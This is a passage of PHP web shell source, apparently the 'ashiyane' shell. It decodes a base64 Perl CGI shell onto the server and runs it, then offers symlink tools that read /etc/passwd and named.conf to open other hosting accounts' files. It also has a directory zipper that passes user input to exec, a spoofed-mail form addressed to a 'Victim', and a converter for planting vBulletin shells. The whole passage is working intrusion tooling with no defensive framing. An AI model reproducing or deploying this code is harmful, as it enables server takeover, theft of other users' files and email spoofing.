ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkITwvY29kZT4iOw0KCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQkmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoNCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KCXByaW50ICI8Y29kZT5VcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCXByaW50ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJcHJpbnQgIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOw0KCQkJcHJpbnQgIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJcHJpbnQgIjwvY29kZT4iOw0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQoNCiRBY3Rpb24gPSAkaW57J2EnfTsNCiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJGlueydkJ307DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kDQp7DQoJJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCSZEb3dubG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQoNCg0K
2598
2599";
2600$ashiyane6 = fopen('cgi.ashiyane','w+');
2601$ashiyane7 = fwrite ($ashiyane6 ,base64_decode($ashiyane5));
2602fclose($ashiyane6);
2603chmod('cgi.ashiyane',0755);
2604echo '<a name="down"></a><iframe src=cgiashiyane/cgi.ashiyane width=100% height=600px frameborder=0></iframe> ';
2605
2606
2607
2608 }
2609
2610 if($action=="sym"){
2611 echo "<style>#sym{background: #A81F1F}</style>";
2612
2613 ?>
2614 <div style="font-size:20px">
2615 <center>
2616 <a href="?action=sym&sym=dsym"><input type="button" value="Domains"></a>
2617 <a href="?action=sym&sym=dusym"><input type="button" value="Domains User Symlink"></a>
2618 <a href="?action=sym&sym=passwd"><input type="button" value="Passwd Symlink"></a>
2619 <a href="?action=sym&sym=fsym"><input type="button" value="File Symlinker"></a>
2620 <a href="?action=sym&sym=dasym"><input type="button" value="Direct Admin Symlink"></a>
2621 </center>
2622 <br /><br />
2623 </div>
2624 <?php
2625 if(isset($_GET['sym']) && $_GET['sym']=="dusym"){
2626 if(!@file_exists("/etc/virtual/domainowners")){
2627@set_time_limit(0);
2628echo "<center>";
2629@mkdir('sym',0777);
2630$ht = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
2631$htfile =@fopen ('sym/.htaccess','w');
2632fwrite($htfile ,$ht);
2633@symlink('/','sym/root');
2634$basename = basename('_FILE_');
2635$namedfile = @file('/etc/named.conf');
2636if(!$namedfile)
2637{
2638echo "<b><font color=\"#FFFFFF\">Cant access /etc/named.conf on server</b></font></center>";
2639}
2640else
2641{
2642echo "<br>";
2643echo "<table align='center' width='40%' class='syms'>
2644<td><font color=\"#FFFFFF\"><b><center># Count</center></font></b></td>
2645<td><font color=\"#FFFFFF\"><b><center>Domains</center></font></b></td>
2646<td><font color=\"#FFFFFF\"><b><center>Users</center></font></b></td>
2647<td><font color=\"#FFFFFF\"><b><center>symlink</center></font></b></td>";
2648$count=1;
2649foreach($namedfile as $namedfiles){
2650if(@eregi('zone',$namedfiles)){
2651preg_match_all('#zone "(.*)"#',$namedfiles,$namedfiles2);
2652flush();
2653if(strlen(trim($namedfiles2[1][0])) >2){
2654$valiasesfile = posix_getpwuid(@fileowner('/etc/valiases/'.$namedfiles2[1][0]));
2655$valiasfilename = $valiasesfile['name'];
2656@symlink('/','sym/root');
2657$valiasfilename = $namedfiles2[1][0];
2658$irdom = '\.ir';
2659$ildom = '\.il';
2660if (@eregi("$irdom",$namedfiles2[1][0]) or @eregi("$ildom",$namedfiles2[1][0]) ){
2661$valiasfilename = "<b><font style=\"color:#FFFFFF\">".$namedfiles2[1][0].'</font></b>';
2662}
2663echo "<tr><td><font color=\"#FFFFFF\">{$count}</font></td><td><a target='_blank' href=http://www.".$namedfiles2[1][0].'/><font color=#FFFFFF><b>'.$valiasfilename.'</b> </a></font></td><td><font color="white"><b>'.$valiasesfile['name']."</font></b></td><td><a href='sym/root/home/".$valiasesfile['name']."/public_html' target='_blank'><font color=\"#FF0000\">symlink </font></a></td></tr>";flush();
2664$count++;}}}}
2665} else {
2666echo '<center><br><font color="#FFFFFF">This is Server DirectAdmin Use </font><font color="#FF0000"><a href="?action=sym&sym=dasym">Symlink for Direct Admin</a></font></b></center> ';
2667}
2668echo "</center></table>";
2669 }
2670 if(isset($_GET['sym']) && $_GET['sym']=="dasym"){
2671
2672 if(@file_exists("/etc/virtual/domainowners")){
2673@mkdir('sym',0777);
2674$ht = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
2675$htfile =@fopen ('sym/.htaccess','w');
2676fwrite($htfile ,$ht);
2677@symlink('/','sym/root');
2678fclose($htfile);
2679$res = @file("/etc/virtual/domainowners");
2680$count=1;
2681echo "<br>";
2682echo "<table align='center' width='40%' class='syms'>
2683<td><font color=\"#FFFFFF\"><b><center># Count</center></font></b></td>
2684<td><font color=\"#FFFFFF\"><b><center>Domains</center></font></b></td>
2685<td><font color=\"#FFFFFF\"><b><center>Users</center></font></b></td>
2686<td><font color=\"#FFFFFF\"><b><center>symlink</center></font></b></td>";
2687foreach($res as $hid){
2688if(@eregi(":",$hid)){
2689$exfile = explode(':', $hid);
2690echo "<tr><td><font color=\"#FFFFFF\">{$count}</font></td><td><a target='_blank' href=http://www.".trim($exfile[0]).'/><font color=\"#FFFFFF\"><b>'.trim($exfile[0]).'</b> </font></a></td><td><font color="white"><b>'.trim($exfile[1])."</font></b></td><td><a href='sym/root/home/".trim($exfile[1])."/public_html' target='_blank'><font color=\"#FF0000\">symlink </font></a></td></tr>";flush();
2691$count++;}}echo "</table>";}else{echo '<center><br><font color="#FFFFFF">This is Server Cpanel Please Use </font><font color="#FF0000"><a href="?action=sym&sym=dusym">Symlink for Cpanel</a></font></b><br></center>';}
2692
2693 }
2694 if(isset($_GET['sym']) && $_GET['sym']=="dsym"){
2695
2696
2697if(!@file_exists("/etc/virtual/domainowners")){
2698echo "<center>";
2699echo "<br>";
2700$d0mains = @file("/etc/named.conf");
2701if(!$d0mains){
2702
2703echo "<b><font color=\"#FFFFFF\">Cant access /etc/named.conf on server</b></font></center>"; }
2704echo "<br><table align='center' width='40%' class='syms'><td><font color=\"#FFFFFF\"><b><center>#Count</center></font></b></td><td><font color=\"#FFFFFF\"><b><center>Domains</center></font></b></td><td><font color=\"#FFFFFF\"><b><center>Users</center></font></b></td>";
2705$count=1;
2706if (is_array($d0mains) || is_object($d0mains))
2707{
2708foreach($d0mains as $d0main){
2709if(@eregi("zone",$d0main)){
2710preg_match_all('#zone "(.*)"#', $d0main, $domains);
2711flush();
2712if(strlen(trim($domains[1][0])) > 2){
2713$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
2714echo "<tr><td><b><font color=\"#FFFFFF\">".$count."</b></font></td><td><a href=http://www.".$domains[1][0]."/><font color=\"#FFFFFF\"><b>".$domains[1][0]."</font></b></a></td><td><b><font color=\"#FFFFFF\">".$user['name']."</font></b></td></tr>";flush();
2715$count++;
2716}}}
2717}
2718echo "</center></table>";
2719}else{echo '<center><br><font color="#FFFFFF">This Server is DirectAdmin Please Use </font><font color="#FF0000"><a href="?action=sym&sym=dasym">Symlink for Direct Admin</a></font> </center>';}
2720
2721
2722 }
2723 if(isset($_GET['sym']) && $_GET['sym']=="passwd"){
2724
2725
2726@mkdir('sym',0777);
2727$htcs = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
2728$f =@fopen ('sym/.htaccess','w');
2729fwrite($f , $htcs);
2730
2731
2732
2733@symlink("/","sym/root");
2734
2735$pg = basename(__FILE__);
2736
2737
2738 if(isset($_GET['save']) and isset($_POST['file']) or @filesize('passwd.txt') > 0){
2739
2740
2741$cont = stripcslashes($_POST['file']);
2742
2743if(!file_exists('passwd.txt')){
2744
2745$f = @fopen('passwd.txt','w');
2746
2747$w = @fwrite($f,$cont);
2748
2749fclose($f);
2750}
2751if($w or @filesize('passwd.txt') > 0){
2752
2753echo "<div class='tmp'><table align='center' width='35%'><td>Users</td><td>symlink</td><td>FTP</td>";
2754flush();
2755
2756$fil3 = file('passwd.txt');
2757
2758foreach ($fil3 as $f){
2759
2760 $u=explode(':', $f);
2761 $user = $u['0'];
2762
2763
2764
2765echo "
2766<tr>
2767
2768
2769
2770<td width='15%'>
2771$user
2772</td>
2773<td width='10%'>
2774<a href='sym/root/home/$user/public_html' target='_blank'>Symlink </a>
2775</td>
2776
2777<td width='10%'>
2778<a href='$pageFTP/sym/root/home/$user/public_html' target='_blank'>FTP</a>
2779</td>
2780
2781
2782
2783</tr></div> ";
2784
2785
2786flush();
2787flush();
2788
2789
2790}
2791
2792
2793
2794
2795
2796
2797die ("</tr></div>");
2798
2799
2800 }
2801
2802
2803
2804
2805
2806}
2807
2808
2809
2810echo "<center>Read /etc/passwd";
2811echo "<br /><br /><form method='post' action='?action=sym&sym=passwd&save=1'><textarea cols='80' rows='20' name='file'>";
2812flush();
2813
2814$file = '/etc/passwd';
2815
2816
2817$r3ad = @fopen($file, 'r');
2818if ($r3ad){
2819$content = @fread($r3ad, @filesize($file));
2820echo "".htmlentities($content)."";
2821}
2822elseif(!$r3ad)
2823{
2824$r3ad = @show_source($file) ;
2825}
2826elseif(!$r3ad)
2827{
2828$r3ad = @highlight_file($file);
2829}
2830elseif(!$r3ad)
2831{
2832
2833 for($uid=0;$uid<1000;$uid++){
2834 $ara = posix_getpwuid($uid);
2835 if (!empty($ara)) {
2836 while (list ($key, $val) = each($ara)){
2837 print "$val:";
2838 }
2839 print "\n";
2840 }
2841
2842 }
2843
2844 }
2845
2846
2847flush();
2848
2849
2850echo "</textarea><br /><br /><input type='submit' value=' symlink '/> </form></center>";
2851flush();
2852 }
2853
2854 if(isset($_GET['sym']) && $_GET['sym']=="fsym"){
2855
2856 echo'<center>The file path to symlink :
2857
2858<br /><br />
2859
2860<form method="post" action="?action=sym&sym=fsym">
2861<input type="text" name="file" value="/home/user/public_html/[File Name]" size="60"/><br /><br />
2862<input type="text" name="symfile" value="sym.txt" size="60"/><br /><br />
2863<input type="submit" value="symlink" name="symlink" /> <br /><br />
2864</form>
2865</center>
2866';
2867
2868if(isset($_POST['file']) && isset($_POST['symfile']) & isset($_POST['symlink'])){
2869$path_file = $_POST['file'];
2870$symfile = $_POST['symfile'];
2871$symlink = $_POST['symlink'];
2872
2873if ($symlink)
2874{
2875@mkdir('symlink',0777);
2876$c = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n";
2877$f =@fopen ('symlink/.htaccess','w');
2878@fwrite($f , $c);
2879@symlink("$path_file","symlink/$symfile");
2880echo '<br /><a target="_blank" href="symlink/'.$symfile.'" >'.$symfile.'</a>';
2881}
2882
2883}
2884
2885 }
2886
2887 }
2888 if($action=="zipper"){
2889 if (class_exists('ZipArchive')){
2890echo '
2891<center>
2892<br /><br />
2893<form actoin="?action=zipper&dir='.$path.'#down" method="post">
2894<a name="down"></a>
2895<font color="#FFFFFF"><b>Dir:</b> </font> <input type="text" name="dirzip" value="'.htmlspecialchars($GLOBALS['path']).'" size="60"/><br /><br />
2896<font color="#FFFFFF"><b>Save Dir: </b></font><input type="text" name="zipfile" value="ashiyane.zip" size="60"/><br /><br />
2897<input type="submit" value=">>" name="ziper" /> <br /><br />
2898</form></center>
2899';
2900
2901
2902$code = base64_decode('ICAgIGlmICghZXh0ZW5zaW9uX2xvYWRlZCgnemlwJykgfHwgIWZpbGVfZXhpc3RzKCRzb3VyY2UpKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCiAgICBpZiAoISR6aXAtPm9wZW4oJGRlc3RpbmF0aW9uLCBaSVBBUkNISVZFOjpDUkVBVEUpKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAkc291cmNlID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCByZWFscGF0aCgkc291cmNlKSk7DQoNCiAgICBpZiAoaXNfZGlyKCRzb3VyY2UpID09PSB0cnVlKQ0KICAgIHsNCiAgICAgICAgJGZpbGVzID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRzb3VyY2UpLCBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpTRUxGX0ZJUlNUKTsNCg0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpDQogICAgICAgIHsNCiAgICAgICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkZmlsZSk7DQoNCiAgICAgICAgICAgIC8vIElnbm9yZSAiLiIgYW5kICIuLiIgZm9sZGVycw0KICAgICAgICAgICAgaWYoIGluX2FycmF5KHN1YnN0cigkZmlsZSwgc3RycnBvcygkZmlsZSwgJy8nKSsxKSwgYXJyYXkoJy4nLCAnLi4nKSkgKQ0KICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KDQogICAgICAgICAgICAkZmlsZSA9IHJlYWxwYXRoKCRmaWxlKTsNCg0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZmlsZSkgPT09IHRydWUpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHppcC0+YWRkRW1wdHlEaXIoc3RyX3JlcGxhY2UoJHNvdXJjZSAuICcvJywgJycsICRmaWxlIC4gJy8nKSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlIGlmIChpc19maWxlKCRmaWxlKSA9PT0gdHJ1ZSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkemlwLT5hZGRGcm9tU3RyaW5nKHN0cl9yZXBsYWNlKCRzb3VyY2UgLiAnLycsICcnLCAkZmlsZSksIGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgZWxzZSBpZiAoaXNfZmlsZSgkc291cmNlKSA9PT0gdHJ1ZSkNCiAgICB7DQogICAgICAgICR6aXAtPmFkZEZyb21TdHJpbmcoYmFzZW5hbWUoJHNvdXJjZSksIGZpbGVfZ2V0X2NvbnRlbnRzKCRzb3VyY2UpKTsNCiAgICB9DQoNCiAgICByZXR1cm4gJHppcC0+Y2xvc2UoKTs=');
2903
2904
2905
2906if(isset($_POST['ziper']) && ($_POST['ziper'] == '>>'))
2907{
2908$newfunc = create_function('$source,$destination', $code);
2909
2910$dirzip = $_POST['dirzip'];
2911$zipfile = $_POST['zipfile'];
2912if($newfunc($dirzip, $zipfile)){
2913echo '<b><span style="color:green">Directory Or File Ziped Successfully !</span></b><Br>';
2914}else {echo '<b><span style="color:red">Error!!!...</span></b><Br>';}
2915}
2916}
2917else {
2918echo '
2919<center>
2920<br /><br />
2921<form action="?action=zipper&dir='.$path.'#down" method="post">
2922<a name="down"></a>
2923Dir: <input type="text" name="dirzip" value="'.htmlspecialchars($GLOBALS['path']).'" size="60"/><br /><br />
2924Save Dir: <input type="text" name="zipfile" value="ashiyane.zip" size="60"/><br /><br />
2925<input type="submit" value=">>" name="ziper" /> <br /><br />
2926</form></center>
2927';
2928if(isset($_POST['ziper']) && ($_POST['ziper'] == '>>'))
2929
2930{
2931$dirzip = trim($_POST['dirzip']);
2932$zipfile = trim($_POST['zipfile']);
2933if(exec("zip -r $zipfile $dirzip")){
2934echo '<b><span style="color:green">Directory Or File Ziped Successfully !</span></b><br>';
2935}else {echo '<b><span style="color:red">ERROR!!!...</span></b><br>';}
2936}
2937}
2938 }
2939
2940 if($action=="fakemail"){
2941
2942 echo '
2943<center><form action="?action=fakemail&dir='.$path.'#down" method="post">
2944<a name="down"></a>
2945<table>
2946<tr>
2947<td>
2948<font color="#FFF"><b>Mail to : </b></font></td><td><input placeholder="Victim" size="30" type="email" name="mailto" />
2949</td>
2950</tr>
2951<tr>
2952<td>
2953<font color="#FFF"><b>From : </b></font></td><td><input type="email" size="30" placeholder="Hacker@mail.com" name="mailfrom" />
2954</td>
2955</tr>
2956<tr>
2957<td>
2958<font color="#FFF"><b>Subject : </b></font></td><td><input type="text" size="30" value="Your Site Has Been Hacked" name="mailsubject" />
2959</td>
2960</tr>
2961</table><br>
2962<textarea rows="6" cols="60" name="mailcontent">Hi Admin :)</textarea>
2963<br><input type="submit" value=">>" name="mailsend" />
2964</form></center><br><br>';
2965if(isset($_POST['mailsend']) && ($_POST['mailsend'] == '>>'))
2966{
2967$mailto = $_POST['mailto'];
2968$mailfrom = $_POST['mailfrom'];
2969$mailsubject = $_POST['mailsubject'];
2970$mailcontent = $_POST['mailcontent'];
2971if(@mail($mailto,$mailsubject,$mailcontent,"FROM:$mailfrom"))
2972{ echo '<center><span style="color:green"><b>Mail successfully Sent!</b></span></center>'; }
2973else echo '<center><span style="color:red"><b>Mail Not Sent!</b></span></center>';
2974}
2975
2976
2977 }
2978
2979 if($action=="php2xml"){
2980
2981 echo"
2982<center>
2983<b><font>Convert PHP To XML For Vbulletin Shell</font></b>
2984<form action=\"?action=php2xml&dir=$path#down\" method='post'>
2985<a name=\"down\"></a>
2986<p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert your shell code\"></textarea><br/><br/>
